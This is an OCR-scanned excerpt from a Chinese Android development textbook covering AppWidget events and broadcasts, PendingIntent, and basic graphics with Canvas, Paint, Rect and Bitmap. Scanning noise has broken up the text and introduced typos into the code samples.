定 ， 则 表示 不 经 过 桌面 的 AppWidget 而 直接 进行 跳 转 ， 这 样 跳 转 的 时 机 就 不 对 了 。 


AppWidgetManager AppWidgetProvider 
设置 按钮 事件 操作 -一 
一 一 要 1 
一 一 1 
通过 pendinglntent 
指定 跳 转 的 Activity 
Li 
~ 是 站 
Me | 国 
i 全 | Activity 
跳 转 到 指定 的 Activity | | 
图 9-62 设置 远程 桌面 的 事件 操作 


了 解 了 桌面 AppWidget 绑 定 事件 以 及 基本 的 操作 流程 后 , 下面 了 解 一 下 AppWidgetManager 
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类 。AppWidgetManager 的 主要 功能 是 用 于 更 新 桌面 的 AppWidget， 实 际 上 当 用 户 在 
AppWidgetProvider 程序 中 为 桌面 的 AppWidget 绑 定 事件 后 是 需要 对 桌面 的 AppWidget 组 件 进行 
更 新 的 。 在 AppWidgetManager 类 中 定义 的 常用 方法 如 表 9-43 所 示 。 


表 9-43 AppWidgetManager 类 的 常用 方法 


No. 方 ” 法 


public void update AppWidget(int app WidgetId, 
RemoteViews views, 


public void updateAppWidget(ComponentName 


更 新 指定 的 AppWidget 组 件 


2 更 新 指定 的 AppWidget 组 件 
provider, RemoteViews views) A PpWidget 组 件 
ublic void update, Widget(int[] app WidgetIds, a 
| 更 新 指定 的 AppWideget 组 件 
RemoteViews views) 
blic static AppWidgetMal tInst: ; 
a public static AppWidgetManager getInstance 取得 一 个 AppWidgetManager 的 实例 


(Context context) 


下 面 通过 一 个 实例 来 演示 如 何 使 用 桌面 的 AppWidget 跳 转 到 指定 的 Activity 程序 中 (也 可 


以 进行 广播 的 操作 ， 具 体 的 操作 随后 进行 讲解 ) 。 


【 例 9-109】 定义 AppWidget 的 布局 管理 器 文件 一 一 reslayoutmldn_ appwidget.xml 


<?xml version= "1.0" encoding="utf-8"?> 
<LinearLayout 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent"> 
<ImageView 
android:id="@+id/img" 
android:src="@drawable/mldn_3g" 
android:layout_width="fill_parent”" 
android:layout_height="wrap_content" /> 
<Button 
android:id="@+id/but” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:text=" 龙 训 大 舌 稍 花 球 父 党 院 (MLDN7 “ 
android:layout_gravity="center_horizontal" /> 
</LinearLayout> 


// 定 义 线性 布局 管理 器 


/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
// 定 义 图 片 显示 组 件 

1/ 组件 ID， 程序 中 使 用 

// 显 示 的 图 片 ID 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 图 片 高 度 

// 定 义 按钮 组 件 

// 组 件 ID， 程 序 中 使 用 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 文字 高 度 

/| 默认 显示 文字 
/水 平 居中 排列 


本 布局 管理 器 主要 为 远程 的 显示 视图 桌面 ， 只 是 定义 了 一 个 图 片 显示 组 件 和 一 个 按钮 组 件 ， 
其 中 按钮 组 件 (but) 将 在 随后 的 AppWidgetProvider 程序 中 注册 单 击 事件 。 
【 例 9-110】 定义 AppWidgetProvider 程序 一 一 MyAppWidgetjava 


package org.Ixh.demo; 

import android.app.Pendinglntent: 

import android.appwidget.AppWidgetManager; 
import android.appwidget.AppWidgetProvider; 
import android.content.Context; 

import android.content.Intent': 
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import android.widget.RemoteViews; 
public class MyAppWidget extends AppWidgetProvider { 1/ 继承 AppWidgetProvider 


@Override 
public void onUpdate(Context context, AppWidgetManager appWidgetManager, 
int] appWidgetlds) { // 更 新 时 触发 
for (int x = 0; x < appWidgetlds.length; x++) { /更 新 所 有 显示 的 AppWidget 


Intent intent = new Intent(context, MyAppWidgetDemo.class); /设置 Activity 
Pendinglntent pendinglntent = Pendinglntent.9getActivity(context, 0, 
intent PendinglntentFLAG_UPDATE_CURRENT)/ 设 置 准备 执行 的 Intent 
RemoteViews remote = new RemoteViews(context.getPackageName!(), 
R.layout.mldn_appwidget); // 定 义 要 操作 的 RemoteViews 
remote.setOnClickPendinglntent(R.id.buk pendinglntent); /设置 按钮 的 单 击 事件 
appWidgetManager.updateAppWidget(appWidgetlds[x], remote); /更 新 远程 视图 
| 
} 


} 

在 本 程序 中 ,为 了 方便 读者 理解 ,只 覆 写 了 一 个 onUpdate() 方 法 , 在 此 方法 中 有 一 个 appWidgetIds 
整 型 数组 ， 此 数组 的 主要 功能 是 保存 每 一 个 增加 到 桌面 上 的 AppWidget 组 件 的 ID 号 , 因为 同样 

-个 AppWidget 程序 可 以 在 桌面 上 添加 多 次 ， 所 以 系统 会 自动 地 为 这 些 增加 的 AppWidget 组 件 

定义 一 个 了 D 号 。 如 果 要 进行 事件 的 绑 定 操作 ， 肯 定 要 将 所 有 的 组 件 都 绑 定 上 ， 所 以 在 本 程序 中 
采用 for 循环 的 形式 进行 了 循环 的 绑 定 操作 。 

由 于 本 程序 并 不 负责 具体 的 Intent 跳 转 , 所 以 将 要 操作 的 Intent 绑 定 在 PendingIntent 类 中 交 
给 桌面 (远程 ) 的 AppWidget 进 行 处 理 ,而 最 后 通过 RemoteViews 类 中 的 setOnClickPendingIntent() 
方法 为 按钮 定义 了 单 击 事件 ， 并 更 新 相应 的 远程 AppWidget。 


Lee 


7 提示 
其 他 操作 与 之 前 重复 不 再 列 出 。 
本 程序 与 9.9.1 节 中 程序 的 最 大 区 别 在 于 增加 了 远程 桌面 的 事件 处 理 功能 ， 而 基本 的 桌 
面 布局 以 及 AndroidManifestxml 文件 的 配置 与 之 前 是 一 样 的 ， 所 以 不 再 重复 列 出 。 
旦 序 开 发 完成 之 后 ， 单 击 远 程 桌面 按钮 ， 将 根据 AppWidgetProvider 程序 的 配置 
(PendingIntent 包含 的 mtent) 跳 转 到 指定 的 Activity 上 进行 执行 。 


9.9.3 使 用 AppWidget 进行 广播 


在 AppWidgetProvider 类 中 有 一 个 onReceive0 方 法 ， 此 方法 表示 对 广播 操作 进行 处 理 ， 当 
AppWidgetProvider 设置 完事 件 处 理 之 后 ， 也 可 以 使 用 PendingIntent 类 对 广播 操作 进行 封装 ， 以 
及 对 远程 显示 (RemoteViews) 的 组 件 信息 进行 更 新 ， 下 面 通过 一 个 程序 来 进行 说 明 。 

【 例 9-111】 定义 AppWidgetProvider 类 一 一 MyAppWidget.java 

package org.Ixh.demo; 

import android.app.Pendinglntent: 

import android.appwidget.AppWidgetManager; 

import android.appwidget.AppWidgetProvider 
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import android.content.ComponentName; 
import android.content.Context; 
import android.content.Intent'; 
import android.widget.RemoteViews; 
public class MyAppWidget extends AppWidgetProvider { /| 继承 AppWidgetProvider 
@Override 
public void onReceive(Context context, Intent intent) { 
if ("org.Ilxh.action.MYAPPWIDGET_UPDATE". 


equals(intent.getAction())) { // 判 断 是 否 是 指定 的 Action 
RemoteViews remote = new RemoteViews(context.getPackageName!(), 
R.layout.m/ldn_appwidget); /定义 RemoteViews 


remote.setlImageViewResource(R.id.img, R.drawable.mldn_man);”// 设 置 图 片 
remote.setTextViewText(R.id.but, "www.MLDNJAVA.cn");// 更 新 组 件 文字 
AppWidgetManager appWidgetManager = AppWidgetManager 


.getinstance(context); /取得 AppWidgetManager 
ComponentName componentName = new ComponentName(context, 
MyAppWidget.class); // 定 义 使 用 的 组 件 
appWidgetManager.updateAppWidget(componentName, 
remote); // 更 新 组 件 
}else{ 
super.onReceive(context, intent) ; // 父 类 onReceive() 
} 
} 
@Override 
public void onUpdate(Context context, AppWidgetManager appWidgetManager, 
int] appWidgetlds) { // 更 新 时 触发 
Intent intent = new Intent(); /设置 操作 要 执行 的 Intent 
intent.setAction("org.Ixh.action.MYAPPWIDGET_UPDATE"); 
Pendinglntent pendinglntent = PendingIntent.getBroadcast( 
context, 0, intent, 
PendingIntent.FLAG_UPDATE_CURRENT); /设置 准备 执行 的 Intent 
RemoteViews remote = new RemoteViews(context.getPackageName(), 
R.layout.m/ldn_appwidget); // 定 义 要 操作 的 RemoteViews 
remote.setOnClickPendingIntent(R.id.but, 
pendinglntent); /设置 按钮 的 单 击 事件 
appWidgetManager.updateAppWidget(appWidgetlds, 
remote); // 更 新 远程 视图 
} 


} 

在 本 程序 的 onUpdate() 方 法 中 ， 首 先 通过 PendingIntent 类 的 getBroadcast() 方 法 创建 了 一 个 
PendingIntent, 表示 按钮 单 击 之 后 要 进行 广播 处 理 , 为 了 区 分 广播 , 所 以 设置 了 一 个 指定 的 Action 
名 称 ， 而 当 接 收 到 广播 时 ， 会 首先 判断 是 否 是 指定 的 Action， 如 果 是 ， 则 更 改 桌 面 的 按钮 文字 
和 图 片 ， 但 是 此 时 需要 注意 的 是 ， 由 于 onReceive() 方 法 在 父 类 中 扮演 了 分 发 的 功能 ， 所 以 应 该 
使 用 super.onReceive(context intent) 方 法 明确 地 调用 父 类 中 的 onReceive() 方 法 ， 否 则 将 无 法 执行 
AppWidgetProvider 类 中 的 其 他 方法 ， 也 就 是 说 ， 当 一 个 Intent 对 象 传递 到 AppWidgetProvider 
组 件 中 时 ， 首 先 会 调用 onReceive0 方 法 , 之 后 再 调用 AppWidgetProvider 子 类 中 被 覆 写 的 各 个 方 
法 进行 处 理 ， 这 一 操作 的 流程 如 图 9-63 所 示 。 
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La 


站 提示 

此 做 法 为 模板 设计 模式 。 

在 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 一 书 中 曾经 讲解 过 模板 设计 模式 的 应 用 , 而 在 《名 
师 讲坛 一 一 Java Web 开发 实战 经 典 》 的 Servlet 程序 中 也 强调 过 Servlet 的 services() 方 法 就 是 
一 个 分 配 各 个 请 求 处 理 方法 的 操作 ， 这 与 本 次 讲解 的 onReceive0 方 法 的 功能 类 似 。 


onEnabledl) 
onDisabled() 


由 onReceivel) 


分 配 调 用 的 方法 


Ea 
AppWidgetProvider 


图 9-63 ”onReceive0 方 法 处 理 流程 
在 本 程序 中 指定 了 一 个 要 操作 的 Action( 由 用 户 自 定义 的 名 称 ), 该 Action 要 在 AndroidManifest. 
xml 文件 中 进行 <intent-filter> 注 册 ， 在 <receiver> 节 点 中 增加 一 个 新 的 <intent-filter>。 


ss 


本 程序 只 列 出 部 分 修改 代码 。 
考虑 到 篇 幅 问题 ， 在 此 只 列 出 AndroidManifest.xml 文件 的 修改 内 容 , 而 完整 的 内 容 可 以 
参考 光盘 中 的 相关 程序 代码 。 


【 例 9-112】 修改 AndroidManifestxml 文件 ， 增 加 <intent-filter> 


<receiver android:name=".MyAppWidget"> /定义 广播 接收 
<intent-filter> // 定 义 Intent 过 滤 
<action android:name="android.appwidget.action.APPWIDGET_UPDATE" /> 
</intent-filter> 
<intent-filter> /定义 Intent 过 滤 ， 此 名 称 为 用 户 自己 定义 
<action android:name="org./xh.action.MYAPPWIDGET_UPDATE" /> 
</intent-filter> 
<meta-data 


android:name="android.appwidget.provider” 
android:resource="@xml/mldn_appwidget" /> 
</receiver> 


本 程序 中 AppWidget 组 件 所 采用 的 布局 文件 为 mldn appwidget.xml， 此 文件 与 9.9.2 节 中 使 
的 文件 完全 一 样 ， 所 以 不 再 重复 列 出 。 程 序 运 行 时 的 界面 显示 效果 如 图 9-64 所 示 ， 而 修改 组 
件 内 容 之 后 的 显示 效果 如 图 9-65 所 示 。 
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图 9-64 单 击 按钮 前 图 9-65 单 击 按钮 后 
立 - 
9.10 本 章 小 结 


(1) 不 同 的 Activity 之 间 的 跳 转 可 以 使 用 Intent 完成 ， 用 户 也 可 以 通过 onActivityResult() 
方法 来 接收 Activity 返回 的 结果 。 

(2) 在 Android 操作 系统 中 ,提供 了 多 个 可 以 操作 的 Intent， 用 户 只 需要 设置 好 要 跳 转 的 
Action 以 及 附加 的 若干 数据 即 可 实现 这 些 程序 的 调用 。 

(3) Activity 的 生命 周期 包括 运行 态 (Running State) 、 和 暂停 态 (Paused State) 和 停止 态 

(Stopped State) 。 

(4) 使 用 ActivityGroup 要 比 使 用 TabHost 组 件 更 容易 管理 标签 的 操作 。 

(5) 在 Android 中 ， 子 线程 的 数据 不 能 更 新 主线 程 中 的 UI 组件， 用 户 可 以 通过 Handler 和 
Looper 完成 主线 程 和 子 线程 间 的 通信 操作 。 

(6) AsyncTask 类 的 操作 可 以 减少 主线 程 和 子 线程 间 的 操作 复杂 度 。 

(7) Service 是 运行 在 手机 系统 后 台 的 一 种 无 UI 组件， 在 Android 系统 中 提供 了 多 种 Services 
供用 户 使 用 。 

(8) PendingIntent 的 主要 功能 是 包 囊 一 个 将 要 执行 的 Intent， 等 待 特定 的 情况 满足 后 再 执 
行 该 Intent。 

(9) 广播 机 制 可 以 监听 用 户 的 操作 ， 并 在 用 户 操作 之 后 进行 若干 处 理 。 

(10) AppWidget 组 件 可 以 实现 桌面 程序 和 Activity 之 间 的 互 操作 。 
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通过 本 章 的 学 习 可 以 达到 以 下 目标 : 
回 掌握 Canvas 和 Paint 类 ， 并 可 以 使 用 其 进行 几何 图 形 的 绘制 。 
掌握 Bitmap 和 Matrix 类 ， 并 可 以 进行 图 片 的 处 理 操作 。 
掌握 Animation 的 操作 实现 ， 并 且 可 以 在 组 件 操 作 上 使 用 动画 效果 。 
掌握 MediaPlayer 和 SurfaceView 组 件 的 使 用 ， 并 可 以 使 用 其 进行 音频 及 视频 文件 的 播 
放 操作 。 
掌握 手机 摄像 头 的 操作 ， 并 可 以 使 用 程序 实现 拍照 功能 。 
掌握 MediaRecorder 的 使 用 ， 并 可 以 使 用 其 完成 音频 及 视频 的 录制 。 
掌握 多 点 触 控 的 操作 及 使 用 。 
在 现在 的 手机 应 用 中 ， 多 媒体 已 经 成 为 了 不 可 或 缺 的 功能 ， 如 绘制 图 形 、 播 放 音乐 、 修 改 
图 片 等 功能 在 各 种 型 号 手机 上 几乎 随处 可 见 , 而 Android 也 对 这 些 多 媒体 技术 有 所 支持 , 本章 将 
对 Android 的 多 媒体 技术 进行 基本 讲解 。 


加 罗 罗 网 


10.1 绘制 简单 图 形 


在 Android 中 ， 大 部 分 组 件 都 是 View 的 子 类 ， 而 如 果 要 进行 图 形 的 绘制 操作 ， 则 可 以 直接 使 
用 一 个 类 继承 View 类 ， 之 后 窗 写 View 类 中 的 指定 方法 ，View 类 中 的 绘图 方法 如 表 10-1 所 示 。 


表 10-1 View 类 中 的 绘图 方法 


.| 方法 | 类 型 | 描述 


protected void onDraw (Canvas canvas, 


在 此 方法 中 实现 绘图 的 操作 


计 
protected final void onDrawScrollBars(Canvas i A 亚 成 重 吉 注 却 和 维 图 担 作 


在 一 般 的 图 形 绘制 中 ， 用 户 往往 只 需要 乾 写 onDraw0 方 法 即 可 ， 可 是 要 想 真 正 地 完成 绘 区 
操作 ， 还 需要 掌握 4 个 核心 的 操作 类 。 

android.graphics.Bitmap: 主要 表示 一 个 图 片 的 存储 空间 , 所 包含 的 图 片 可 以 来 自 于 文件 
或 由 程序 创建 。 

android.graphics.Paint: 主要 的 绘图 工具 类 ， 可 以 指定 绘图 的 样式 ，Paint 类 的 常用 方法 
如 表 10-2 所 示 。 

android.graphics.Canvas: 是 一 个 操作 绘图 以 及 Bitmap 的 平台 ， 相 当 于 提供 了 一 个 画板 
的 功能 ， 在 onDraw0 方 法 的 参数 中 也 定义 了 此 类 型 的 参数 ， 可 以 依靠 此 类 完成 具体 的 
绘图 操作 ， 如 表 10-3 所 示 。 

android.graphics.drawable.Drawable: 绘制 图 形 的 公共 父 类 , 可 以 绘制 各 种 图 形 、 图 层 等 。 
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表 10-2 Paint 类 的 常用 方法 


定义 一 个 Paint 对 象 


public PaintO) 
public float measureText(CharSequence text, int 
start, int end) 


返回 文本 的 宽度 


public float measureText (String text) 返回 文本 的 宽度 


设置 透明 度 
设置 颜色 
设置 alpha (a) 、red (r) 、green (g) 、 
blue (b) 


public void setAlpha(int a 


public void setColor(int color 


public void setARGB(int a, intr int g, int b) 


public void setStyle (Paint.Style style) 设置 显示 风格 


打开 抗 锯齿 


public void setAntiAlias(boolean aa 


表 10-3 Canvas 类 的 常用 方法 


No. 方 ” 法 一 一 述 
1 ublic void drawARGB (nt a, int 1, int g, int b) 
public void drawArc(RectF oval, float startAngle, float | 画 弧 
SWeepAnsgle, boolean useCenter, Paint paint) 
public void drawBitmap(Bitmap bitmap, Rect src, Rect dst, | wa | 全 制图 形 
Paint paint 
冯 public void drawBitmap(Bitmap bitmap, float left, float top, | wa | 公制 图 形 
Paint paint) 
- public void drawCircle(float cx, float cy, float radius, Paint | 画 贺 
aint) 
6 ublic void drawColor(int color) | 以 指定 颜色 填充 
public void drawLine(float startX, float startY, float stopX., 画 线 
float stopY, Paint paint. 
8 ublic void drawOval(RectF oval, Paint paint 画 椭 贺 
9 | public void drawPicture(Picture picture) 画图 
10 | public void drawPoint(float x, float y, Paint paint) 画 点 
11 | public void drawText(String text, float x, float y, Paint paint) 输出 文本 
12 | public void drawRGB(int 1, int g, int b) 填充 
13 | public void drawRect(RectF rect, Paint paint) 画 和 矩形 
14 public wd Re left, float top, float right, float 画 矩 形 
bottom, Paint paint) 
15 | public void drawRect(Rectr, Paint paint) 画 和 矩形 
馆 public void RN text, Path path, float 沿 指定 的 路 径 输出 文本 
hOffset, float vOffset, Paint paint 
7 ublic int getWidthO 返回 宽度 
18_| public int getHeightO 返回 高 度 
19 | public void translate(float dx, float dy) 图 像 平 移 
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在 使 用 Canvas 画图 时 ,有 时 也 需要 使 用 android.graphics.Rect 类 指定 画 圆 或 矩形 的 边 距 , Rect 
类 的 常用 方法 如 表 10-4 所 示 。 


表 10-4 Rect 类 的 常用 方法 


描 


述 


public RectO 


public final int centerXO 


public final int centerYO 


判断 在 矩 形 中 是 否 包含 指定 的 子 矩 形 
判断 在 矩形 中 是 否 包含 指定 的 子 矩 形 
设置 矩形 的 显示 数据 

连接 其 他 矩 形 
public final int widthO 取得 矩形 的 宽度 
public final int heightO 取得 矩形 的 高 度 


可 以 发 现 ， 在 android.graphics.Rect 类 中 操作 的 数据 以 int 型 为 主 ， 而 与 Rect 类 对 应 的 还 有 
-个 android. graphics.RectF 类 , 此 类 操作 的 数据 以 float 型 数据 为 主 , 所 以 其 精度 要 比 Rect 更 高 ， 
关于 此 类 的 具体 方法 读者 可 以 自行 查看 相关 文档 。 
下 面 使 用 Paint 和 Canvas 类 在 面板 上 绘制 一 些 简单 的 图 形 ， 以 观察 效果 。 本 程序 所 要 绘制 
的 几何 图 形 较 多 ， 各 图 形 的 坐标 点 如 图 10-1 所 示 。 


|public boolean contains (int x, int y) 


public void set(int left, int top, int right, int bottom) 


public void union(Rect 1) 


1 
2 
3 
4 
5 |public boolean contains(Rect 1) 
6 
7 
8 
9 


(40, 110) 
e 北京 麻 乐 科技 软件 学 院 ( MLDN ) 
(10, 120) (300, 120) 
10.0, 140.0 150. 0, 140.0 
ew eg 
Fe . 


110. 0, 200.0 210.0 200.0 
图 10-1 绘制 的 几何 图 形 的 坐标 
MyView， 此 类 继承 View 类 


【 例 10-1】 定义 一 个 组 件 
package org.Ixh.demo; 
import android.content.Context; 
import android.graphics.Canvas; 
import android.graphics.Color; 
import android.graphics.Paint; 
import android.graphics.Paint.Style; 
import android.graphics.Rect; 
import android.graphics.RectF; 
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import android.util.AttributeSet; 
import android.view.View; 
public class MyView extends View { /继承 View 类 
public MyView(Context context, AttributeSet attrs) { 
super(context, attrs); 


} 

@Override 

protected void onDraw(Canvas canvas) { // 覆 写 绘图 方法 
canvas.drawColor(Color WHITE) ; /设置 背景 颜色 
Paint paint = new Paint() ; /定义 Paint 对 象 
paint.setColor(Color.BLUE) ; /设置 为 蓝 色 显示 
canvas.drawCircle(30, 50, 25, paint) ; // 画 圆 
paint.setColor(Color.BLACK) ; // 设 置 为 黑色 显示 
canvas.drawRect(80, 20, 160, 80, paint) ; // 画 和 矩形 
Rect rect = new Rect() ; // 定 义 和 矩形 
rect.set(180, 20, 300, 80); /设置 矩形 大 小 
paint.setStyle(Style.STROKE); /空心 显示 
canvas.drawRect(rect, paint) ; // 画 矩形 
paint.setColor(Color.RED) ; /设置 为 红色 
paint.setTextSize(20) ; /设置 字体 大 小 
canvas.drawText(" 北 京 魔 乐 科技 软件 学 院 (MLDN ) "， 

10, 110, paint); /显示 文字 
paint.setColor(Color.BLACK) ; /设置 为 黑色 显示 
canvas.drawLine(10, 120, 300, 120, paint); // 画 线 
RectF oval = new RectF() ; // 定 义 参 考 矩 形 
oval.set(10.0f, 140.0f, 110.0f, 200.0f); /定义 大 小 
canvas.drawOval(oval, paint) ; // 画 椭 
oval = new RectF() ; // 定 义 参 考 矩 形 
oval.set(150.0f, 140.0f, 210.0f, 200.0f); /定义 大 小 
canvas.drawArc(oval, 150.0f, 140.0f, true, paint) ; // 画 弧 


MyView 类 直接 继承 了 View 类 ， 该 类 实际 上 将 作为 一 个 新 的 组 件 出 现 ， 只 是 此 类 的 3 


能 是 进行 绘图 的 操作 。 要 想 使 用 此 组 件 ， 依 然 需要 在 布局 管理 器 中 进行 定义 。 
【 例 10-2】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_ parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<org.Ixh.demo.MyView // 定 义 组 件 

android:id="@+id/myview” 1/ 组件 iD， 程序 中 使 用 

android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="fill_parent” /> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


出 


要 功 


本 程序 采用 了 一 个 新 的 自 定义 的 显示 组 件 ， 程 序 运行 之 后 ， 显 示 的 效果 如 图 10-2 所 示 。 


477 


名 师 讲坛 一 一 Android 开发 实战 经 典 


5554:Android_2.3 =| 吕 jx| 


基 吊 | 出 6:59 
画图 程序 


北京 魔 乐 科技 软件 学 院 ( MLDN ) 


C 


图 10-2 绘图 操作 


10.2 Bitmap 


android.graphics.Bitmap 〈 位 图 ) 是 Android 手机 中 专门 提供 的 用 于 操作 图 片 资源 的 操作 类 ， 
使 用 贞 


类 可 以 直接 从 资源 文件 中 进行 图 片 资源 的 读 取 ， 并 且 对 读 取 的 图 片 进行 一 些 简单 的 修改 ， 


此 类 的 常用 方法 如 表 10-5 所 示 。 


表 10-5 Bitmap 类 的 常用 方法 


public static Bitmap createBitmap(Bitmap source, int x, 
, int width, int height Matrix m, boolean filter 


取得 图 像 的 高 
取得 图 像 的 宽 


普通 创建 一 个 指定 大 小 的 Bitmap 


public static Bitmap createScaledBitmap(Bitmap src, int 
dstWidth, int dstHeight boolean filter 


表 10-5 列 出 了 Bitmap 定义 的 方法 , 其 中 的 createBitmap0 有 一 个 重 载 的 方法 需要 使 用 Matrix 


类 ， 此 类 可 以 实现 一 些 图 片 的 变换 操作 ， 相 关内 容 将 在 10.3 节 讲 解 。 如 果 要 想 通 过 资源 文件 取 
得 一 个 Bitmap 实例 ， 则 还 需要 android.graphics.BitmapFactory 类 的 支持 ，BitmapFactory 类 的 常 


方法 如 表 10-6 所 示 。 


表 10-6 BitmapFactory 类 的 常用 方法 
方法 描述 


public static Bitmap decodeByteArray(byte[] data. 
int offset, int length, 


普通 | 根据 指定 的 数据 文件 创建 Bitmap 


public static Bitmap decodeFile(String pathName 根据 指定 的 路 径 创建 Bitmap 


2 
ublic static Bitmap decodeResource(Resources SO 
| . l 根据 指定 的 资源 创建 Bitmap 
res, int 1d) 
4 |public static Bitmap decodeStream(InputStream is) 普通 根据 指定 的 InputStream 创建 Bitmap 
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下 面 使 用 Bitmap 和 Canvas 显示 一 个 保存 在 资源 文件 目录 (drawable-*) 中 的 图 片 。 
【 例 10-3】 定义 MyView 类 ， 用 于 图 形 的 绘制 
package org.Ixh.demo; 
import android.content.Context; 
import android.graphics.Bitmap; 
import android.graphics.BitmapFactory; 
import android.graphics.Canvas; 
import android.graphics.Color; 
import android.graphics.Paint; 
import android.util.AttributeSet; 
import android.view.View; 
public class MyView extends View { 
public MyView(Context context, AttributeSet attrs) { 
super(context, attrs); 


hy 
@Override 
protected void onDraw(Canvas canvas) { // 绘 图 
Bitmap bitmap = BitmapFactory.decodeResource(super.getResources(), 
R.drawable.android_mldn); 
Paint paint = new Paint(); 
paint.setAntiAlias(true); // 消 除 锯齿 
canvas.drawBitmap(bitmap, 0, 0, paint); // 画 图 
paint.setColor(Color. WHITE); // 白 色 字 体 
paint.setTextSize(20); // 定 义 字 号 
canvas.drawText( 
"图 片 高 度 : "+ bitmap.getHeight() + "， 图 片 宽度 : "+ bitmap.getWidth()， 
10, bitmap.getHeight() + 20, paint); // 输 出 文字 
} 


} 
本 程序 将 图 片 保存 在 了 drawable-hdpi 文件 夹 中 , 之 后 通过 BitmapFactory 类 从 指定 资源 中 读 
取 了 指定 的 图 片 ， 再 利用 Canvas 类 在 屏幕 上 将 图 片 绘制 出 来 。 


【 例 10-4】 在 布局 管理 器 之 中 定义 组 件 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
xmins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<org.lxh.demo.MyView // 定 义 组 件 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 图 片 高 度 


</LinearLayout> 
在 本 布局 管理 器 中 ， 同 样 将 自 定义 的 View 组 件 配置 到 了 main.xml 文件 中 ， 程 序 的 运行 效 
果 如 图 10-3 所 示 。 
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CEE7TTTS 


图 片 高 度 : 250， 图 片 宽度 : 333 


图 10-3 ”使 用 Bitmap 绘图 
以 上 程序 是 直接 在 手机 上 显示 出 了 资源 文件 中 的 图 片 ， 图 片 也 可 以 按照 全 屏 的 方式 显示 ， 
而 要 想 取得 手机 屏幕 的 尺寸 , 则 可 以 使 用 android.util.DisplayMetrics 类 完成 , 而 在 DisplayMetrics 
类 中 ， 可 以 使 用 变量 widthPixels 和 heightPixels 取得 手机 屏幕 的 宽度 和 高 度 。 
【 例 10-5】 创建 填充 屏幕 的 图 片 


@Override 
protected void onDraw(Canvas canvas) { // 绘 图 
DisplayMetrics dm = getResources().getDisplayMetrics(); 
int screenWidth = dm.widthPixels ; // 取 得 手机 屏幕 的 宽度 
int screenHeight = dm.heightPixels ; // 取 得 手机 屏幕 的 高 度 
Bitmap bitmap = BitmapFactory.dqecodeResource(Super.getResources()， 
R.drawable.android_mldn); /取得 Bitmap 
bitmap = Bitmap.createScaledBitmap(bitmap, screenWidth, screenHeight, 
true); // 创 建 一 个 指定 大 小 的 图 片 
Paint paint = new Paint(); 
paint.setAntiAlias(true); // 消 除 锯齿 
canvas.drawBitmap(bitmap, 0, 0, paint); // 画 图 
} 


本 程序 将 对 图 片 进行 拉 伸 ， 拉 伸 的 长 度 和 宽度 与 手机 屏幕 的 尺寸 相同 ， 程 序 的 运行 效果 如 
图 10-4 所 示 。 

除了 可 以 将 图 片 拉 伸 之 外 ， 也 可 以 将 一 张 图 片 设置 在 一 个 指定 的 区 域内 显示 ， 如 下 面 代码 
所 示 。 

【 例 10-6】 将 图 片 设置 在 指定 的 区 域内 显示 


@Override 
protected void onDraw(Canvas canvas) { /绘图 
Bitmap bitmap = BitmapFactory.decodeResource(super.getResources(), 
R.drawable.android_mldn); // 取 得 Bitmap 
Paint paint = new Paint(); 
paint.setAntiAlias(true); /1/ 消 除 锯齿 
canvas.drawBitmap(bitmap, null, new Rect(30, 50, 200, 200), 
paint); // 画 图 


} 
本 程序 将 一 张 图 片 显示 在 一 个 指定 的 矩形 框 中 ， 图 片 会 自动 缩小 ， 以 适应 显示 的 要 求 ， 程 
序 的 运行 效果 如 图 10-5 所 示 。 
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图 10-4 拉 伸 显示 图 10-5 局 部 显示 
了 /提示 
也 可 以 通过 drawBitmap0 实 现 图 形 的 部 分 显示 。 
如 果 和 希望 将 一 张 图 片 进行 部 分 显示 ， 则 可 以 将 如 上 程序 代码 修改 如 下 
canvas.drawBitmap(bitmap, new Rect(100, 100, 200, 200), new Rect(100, 
100, 200, 200), paint); // 画 图 
读者 可 以 自行 修改 本 程序 的 代码 ， 以 观察 效果 。 


10.3 Matrix 


使 用 Bitmap 可 以 进行 图 形 的 绘制 ， 但 是 如 果 希 望 图 形 可 以 进行 一 些 平 移 、 旋 转 、 缩 放 、 倾 斜 
等 变换 ， 则 需要 android.graphics.Matrix 〈 和 矩阵 ) 类 的 支持 ，Matrix 类 中 定义 的 常用 方法 如 表 10-7 
所 示 。 
/提示 
本 部 分 只 是 对 Matrix 进行 基本 介绍 。 
由 于 Matrix 涉及 许多 图 片 的 效果 操作 , 而 且 还 需要 大 量 的 数学 计算 公式 , 考虑 到 本 书 的 
定位 并 不 属于 纯粹 的 多 媒体 或 游戏 开发 ， 所 以 本 书 对 Matrix 只 进行 基本 的 概念 讲解 ， 而 具体 
的 数学 计算 公式 的 推导 ， 有 兴趣 的 读者 可 以 查阅 相关 资料 进行 学 习 。 


表 10-7 Matrix 类 的 常用 方法 


ISSUE 描 述 
cen a 使 图 片 以 原点 (0,0) 为 基准 点 旋转 到 一 定 角 
vb Pig se bute (pan nerss) 度 ， 负 数 为 向 左旋 转 ， 正 数 为 向 右 旋转 
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续 表 

No. 廊 ”法 描述 

public void setRotate(float degrees, float px, 使 图 片 以 一 个 指定 的 坐标 为 基准 点 旋转 到 一 
